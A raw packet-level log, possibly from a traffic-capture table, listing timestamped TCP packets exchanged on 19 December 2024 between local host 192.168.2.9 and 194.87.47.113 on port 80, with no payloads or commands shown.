Dec 19, 2024 08:01:09.899564028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.899570942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.899617910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.900279999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.900321007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.900331974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.900360107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.903115988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.903162003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.903255939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.903266907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.903279066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.903307915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.903374910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.903414965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.904048920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.904088974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.904100895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.904131889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.904863119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.904886007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.904898882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.904941082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.905551910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.905611038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.905621052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.905648947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.906363010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.906405926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.906424999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.906440020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.906470060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.907258987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.907286882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.907299995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.907332897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.907917023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.907957077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.041819096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.041886091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.041901112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.041981936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.042171955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.042224884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.042237997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.042357922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.042357922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.043200016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.043256998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.043271065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.043327093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.044218063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.044269085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.044271946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.044284105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.044332981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.045017004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.045089006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.045133114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.074654102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.074721098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.074734926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.074801922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.074915886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.075005054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.075018883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.075051069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.075705051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.075737953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.075843096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.075881004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.075912952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.075923920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.075963974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.076694012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.076708078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.076720953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.076747894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.077363014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.077423096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.077425003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.077435970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.077487946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.078161955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.078208923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.078219891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.078241110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.079025984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.079067945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.079108953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.079248905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.079279900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.079304934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.079339981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.079369068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.080034018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.080075979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.080087900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.080107927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.080796957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.080833912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.080835104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.080848932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.080882072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.081604004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.081707954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.081720114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.081751108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.082335949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.082377911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.082386017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.082397938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.082432032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.083128929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.083172083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.083184004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.083209991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.083895922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.083930016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.083940983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.083945036 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.083998919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.084671021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.084726095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.084738970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.084758997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.085474014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.085520029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.085542917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.085555077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.085596085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.086241961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.086313963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.086324930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.086349010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.087074995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.087088108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.087099075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.087120056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.087136984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.087795019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.087858915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.087872982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.087899923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.088548899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.088588953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.088598967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.088609934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.088646889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.089349031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.089380980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.089392900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.089415073 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.090285063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.090315104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.090326071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.090357065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.090384960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.090856075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.090908051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.090919018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.090940952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.091634035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.091677904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.091691017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.091703892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.091736078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.092422962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.092453957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.092464924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.092500925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.095534086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.095601082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.095614910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.095638037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.095662117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.095855951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.095932961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.095944881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.095971107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.096659899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.096683979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.096694946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.096710920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.096731901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.097477913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.097492933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.097503901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.097548962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.098236084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.098273039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.098285913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.098313093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.098330975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.099083900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.099112988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.099126101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.099147081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.099749088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.099786043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.099857092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.154426098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.233097076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.233166933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.233181000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.233218908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.233459949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.233503103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.233519077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.233531952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.233566046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.234224081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.234287977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.234301090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.234330893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.235013008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.235058069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.235065937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.235070944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.235105038 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.235785961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.235871077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.235907078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.266709089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.266757011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.266768932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.266866922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.267044067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.267093897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.267106056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.267121077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.267153025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.267838001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.268023968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.268066883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.268073082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.268080950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.268112898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.268760920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.268834114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.268845081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.268877029 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.269552946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.269604921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.269614935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.269625902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.269668102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.270304918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.270361900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.270373106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.270410061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.271173954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.271226883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.271250010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.271469116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.271481991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.271493912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.271514893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.271531105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.272193909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.272635937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.272648096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.272783995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.272938967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.272979975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.272980928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.272994995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.273031950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.273709059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.273755074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.273766041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.273789883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.274507046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.274528027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.274539948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.274548054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.274576902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.275270939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.275309086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.275326014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.275346994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.276106119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.276143074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.276146889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.276160002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.276192904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.276810884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.276921988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.276933908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.276957989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.277729034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.277798891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.277803898 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.277822971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.277858019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.278362036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.278405905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.278417110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.278439999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.279146910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.279187918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.279197931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.279208899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.279258013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.279930115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.279967070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.279978991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.280004978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.280693054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.280735016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.280744076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.280756950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.280786991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.281480074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.281532049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.281548023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.281572104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.282299042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.282310963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.282321930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.282352924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.282382965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.283011913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.283065081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.283077002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.283128977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.283885002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.283898115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.283910036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.283941984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.283956051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.284550905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.284574032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.284590006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.284620047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.287605047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.287640095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.287653923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:10.287663937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:10.287688017 CET	49739	80	192.168.2.9	194.87.47.113
